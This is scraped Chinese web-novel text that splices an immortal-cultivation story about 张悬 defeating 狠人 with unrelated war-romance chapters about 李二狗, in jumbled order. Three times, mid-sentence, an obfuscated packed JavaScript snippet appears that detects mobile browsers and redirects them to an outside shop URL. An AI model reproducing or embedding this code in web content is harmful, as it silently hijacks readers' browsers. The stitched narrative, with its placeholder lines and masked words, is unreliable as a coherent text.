“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262843|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第380章 我会记住昨晚发生的一切 李二狗吓出一身冷汗! 没想到两人刚刚还在床上颠龙倒凤,自己更是用尽毕生所学把王曼春一次次带上云巅。 现在还没提上裤子,王曼春却已经翻了脸! 她真是一个提上裤子不认人的女人! “王科长,你这样做是不是有点卸磨杀驴的意思?翻脸翻得也太快了吧?” 王曼春自从成为女人以来就没有经历过这种极致的体验,她此时已经确定,自己确实已经无可救药地爱上这个男人。 可信仰的差异和自己的身份让她不得不这样做。 “李先生,我也是迫不得已,现在请你穿上衣服跟我走!” 李二狗本来是想拿下王曼春,没想到却被王曼春把自己拿下来。 女人翻脸真是比翻书还快。 “你要把我带到哪里?” “那个地方你很熟悉。” “曼春,一定要这样吗?” 李二狗突然一句“曼春”,让王曼春的手微微颤抖了一下。 “李先生,你这句话听着好熟悉,没想到我们这么快就调换了身份,我也要让你体会一下我当时的感受。” 王曼春终于有了一种报复的快感。 李二狗看着王曼春手里的**,不自觉露出了微笑。 她手里的这把**是自己昨晚从她手里夺来的。 李二狗为了以防万一,脱衣服的时候已经把**里的**取了出来。 王曼春现在手里的**根本没有**,而她竟毫无察觉。 李二狗翻身下床,一丝不挂地站在王曼春面前。 王曼春看着李二狗的样子,虽然脸红了,但手里的**却没有落下来。 “你……不许动!” 李二狗好像完全没有听到她的话一般,一直慢慢向她靠近,逼的她只能步步后退。 “你不要以为我不忍动手,”王曼春把**顶在李二狗的脑门上,“你敢再向前一步,我立马就开枪!” 李二狗突然伸出手抚摸了一下王曼春的脸颊。 “我还是更喜欢你在床上温柔的样子。” “你……你别逼我!” 李二狗微笑着摊开一直攥紧的一只手,手掌里竟是一个****。 “你看看这是什么?” 王曼春愣住了! 她看向手里的**枪柄,里面确实没有**。 她万万没想到自己竟能犯这种低级的错误! 果然女人一旦对男人动情,智商就变成了零。 她无奈地垂下手,她自己也想不明白,为什么自己之前在外边一直呼风唤雨,可现在却屡屡栽在这个男人手里,他真是一个魔鬼! “李二狗,你真是我的克星,一定是我上辈子欠你的!” 李二狗双臂交叉抱在胸前,脸上保持着惯有的微笑,那睥睨一切的样子让王曼春抓狂! “百年修得同船渡,千年修得共枕眠,咱俩能同床异梦,肯定也是几千年才修来的缘分。” 王曼春手里的枪没有**,她深知自己不是李二狗的对手。 “你到底想怎么样?就别绕弯子了,还是直说吧。” 李二狗伸手把王曼春手里的**拿过来,然后把**装进弹匣里。 他一边**着**一边说道:“我想请你帮个忙。” 王曼春还没反应过来,手里的**已经到了李二狗手里。 此时她又成为了李二狗的俘虏。 “帮个忙?我如果不答应?你会不会用手里的**了我?” 李二狗突然拉动了一下**,“咔”的一声响,震得王曼春心里“咯噔”一下。 他凑到王曼春的耳边,轻声说道:“嘿嘿,要杀你……还用得着这把枪吗?” 王曼春的脸瞬间红到了耳根。 “你……你无耻!” 李二狗不以为耻,反以为荣。 “刚刚在床上你可不是这么说的。” “你……我不想和你说话了!” 王曼春娇羞地转过头,不敢再面对李二狗。 “曼春,你放心,我不会让你为难的。” 沉默了片刻之后,王曼春还是心软了。 “说吧,让我帮什么忙?” “我想借你一用,开车把我送出城。” “你这是蓄谋已久的吗?刚刚你和我做的那些都是为了达到这个目的吗?” “我可从来没这样想过。” 尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269048|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 管王曼春并不相信李二狗的话,但他的话还是令自己感到很温暖。 王曼春虽然舍不得李二狗离开武汉,但她心里也知道,李二狗留在武汉非常危险。 “好,我送你出城。” 李二狗突然上前从身后抱住王曼春。 王曼春慢慢地闭上眼睛,两行晶莹的泪花夺眶而出。 她真的舍不得身后的这个男人。 两人就这样待了好久,天色将明之时,王曼春才不舍地说道:“你收拾一下,我送你出城,再晚就不方便了。” 两人穿戴整齐之后,王曼春开车带着李二狗直接来到北城门。 “前面就是城门口了,你在后面隐藏好。” 李二狗竟直接把**递到了王曼春手里。 “你的枪,你收好。” 王曼春微微一怔,没有接枪,直接一脚油门,向着城门口驶去。 城门口的守卫见是王曼春的车,又看到王曼春坐在驾驶座上,不敢阻拦,赶紧打开路障,车子直接驶出了城门。 王曼春开着车把李二狗一直送到城外二十公里,才恋恋不舍地停下车。 “好了,我只能送你到这里了。” 两人下了车,互相对视了一眼。 “你……” “我……” 两人看到对方的囧样,同时笑出声来。 王曼春笑道:“还是你先说吧。” 李二狗深吸一口气,只说出了三个字。 “谢谢你。” “我也谢谢你。” 李二狗张开双臂,王曼春立即扑到他的怀抱里。 “二狗,我们以后我们还能见面吗?” “曼春,相信我们有缘自会相见。” “哎,还是不要相见的好,再见面……我们还是敌人。” 李二狗也不知道该怎么安慰她,她说得确实是事实。 “我会想你的。” “那我就知足了。” 李二狗把嘴唇凑到王曼春的耳边,轻声道:“我会记住昨晚发生的一切,特别美好。” “我也是!” 李二狗终究还是走了! 王曼春呆呆地站在原地,一直望向远方…… 第381章 你真是李二狗? 李二狗离开武汉之后,一路向北,很快便进入大别山区。 大别山,宛如一条巨龙蜿蜒盘旋于鄂豫皖三省交界,气势磅礴,雄浑壮阔。 漫步山间,只见古木参天,云雾缭绕,山峰在白纱般的云海中若隐若现,宛如人间仙境。 飞瀑流泉点缀其间,水声潺潺,为这座静谧的大山增添了几分灵动与生机。 李二狗贪婪地呼吸着新鲜的空气,连日来的疲惫一扫而光。 “轰轰轰……” “突突突……” 突然,远处传来一阵巨大的**声,紧接着是更加猛烈的枪炮声。 李二狗吓得赶紧趴倒在地。 他小心翼翼地抬头望去,山下有一群穿着黄布军装的士兵被打得狼狈不堪,死伤无数。 一群穿着灰布军装的士兵在半山腰疯狂地对着山下扫射。 突然,一阵密集的**如同**般朝着李二狗横扫而来,李二狗赶紧把身体躲到一块岩石后面,**打在岩石上火星四溅,碎石飞崩。 “嘀嘀哒嘀哒,嘀嘀哒嘀哒,嘀嘀哒嘀哒嘀哒嘀哒……” “同志们,跟我冲啊……” “冲啊……” 顿时,半山腰的士兵呐喊着冲出战壕向山下杀去。 李二狗从来没有见过这么多人在一起厮杀,足有上万人! 一颗炮弹打过去,十几个人顿时灰飞烟灭。 一挺**扫射过去,一排人纷纷倒在血泊里。 战争的残酷让李二狗浑身止不住的发抖,实在是太惨烈了! “不许动!举起手来!” 正陷入巨大情感冲击中的李二狗被身后的一声呵斥惊醒。 此刻,他正趴在地上,回头看到四个穿着灰布军装的士兵正端着枪瞄准他,他们的军帽上有一颗闪闪发光的红色五角星,在夕阳的照射下发出耀眼的光芒。 “老总,别误会……” 李二狗刚要爬起来,被一个士兵猛地上前按倒在地。 “狗特务,还想跑!” “我不是……” 士兵根本不听李二狗的解释,又有两个人上前把李二狗捆了个结结实实。 “我真不是……” 李二狗话未说完,嘴里已被塞进了一块缠脚布。 那味道……特别酸爽,李二狗胃里一阵恶心。 “呜呜呜……” 李二狗挣扎着想要解释,其中一个士兵一**砸在他的脑袋上,李二狗顿时昏死过去。 等他醒来的时候,发现四周一片漆黑,身上依然绑着绳子,嘴里的缠脚布愈加的恶臭。 他干呕了几次,由于嘴巴被塞得特别紧,到了喉咙里只能又咽回去,有一些竟从鼻子里冒了出来。 李二狗有一种生不如死的感觉。 他挣扎着想站起身来,双脚竟也被捆住,真是求生不能,求死不得。 “呜呜呜……” 他一边喊一边蹬地,可这间屋子里好像除了自己,什么都没有。 挣扎了半天,根本没人搭理他。 李二狗只感觉头痛欲裂,那一**砸得可真是结实。 李二狗歇一会儿挣扎一会儿,不知道过了多久,突然传来一阵脚步声,紧接着是“吱咛”的开门声。 一束强光射进来,李二狗赶紧闭上了眼睛。 “连长,就是这个狗特务,鬼鬼祟祟地躲在咱们队伍后面打探情况。” “呜呜呜……” “再不老实,老子一**了你!” “冬子,老子和你说过多少次了,在咱们**队伍里,说话一定要讲文明懂礼貌,你****都没长起,天天老子老子的,你**是谁老子?” 冬子摸着脑袋嘿嘿一笑。 “连长,对待狗特务不能客气!” “你**再犟嘴,老子一脚踢死你。” “不敢了,不敢了。” 冬子赶紧承认错误,他知道连长的暴脾气。 “把他嘴里的布拿出来,老子有话要问他。” “连长,和这种狗特务有什么好问的,依我看,直接拉出去毙了得了!” “你**就知道毙了,他来咱们根据地的目的是什么?打探到了什么情报?你都知道吗?” 冬子又是嘿嘿一笑。 “还是连长英明,嘿嘿。” “少**废话,赶紧把他嘴里的破布拿出来。” 冬子赶紧上前,把李二狗嘴里的缠脚布拿了出来。 李二狗顿时干呕一声,吐了一地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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来到审讯室,那个连长正坐在椅子上,翘着二郎腿,摆弄着手里刚刚缴获来的驳壳枪。 “连长,狗特务带来了,你要小心点,这个狗特务非常不老实。” 连长瞪了他一眼,然后看向李二狗。 “你是李二狗?” 连长突然从椅子上弹了起来。 “你真是李二狗?” 李二狗定晴一看,竟是李云龙。 “云龙兄,别来无恙!” 第382章 李二狗一脸懵逼 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 